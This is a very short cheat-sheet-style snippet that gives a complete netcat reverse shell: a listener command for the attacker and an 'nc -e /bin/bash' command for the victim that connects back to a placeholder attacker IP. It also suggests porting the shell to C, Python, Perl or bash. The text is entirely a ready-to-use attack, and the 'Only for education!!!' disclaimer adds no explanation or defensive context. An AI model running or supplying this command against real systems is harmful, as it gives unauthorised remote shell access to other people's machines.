Attacker
nc -lnvp 77 -s 192.168.x.x
Victim
nc -e /bin/bash 192.168.x.x 77
192.168.x.x = attacker IP. You can customize this in C, Python, Perl, or bash programs. =)
Only for education!!!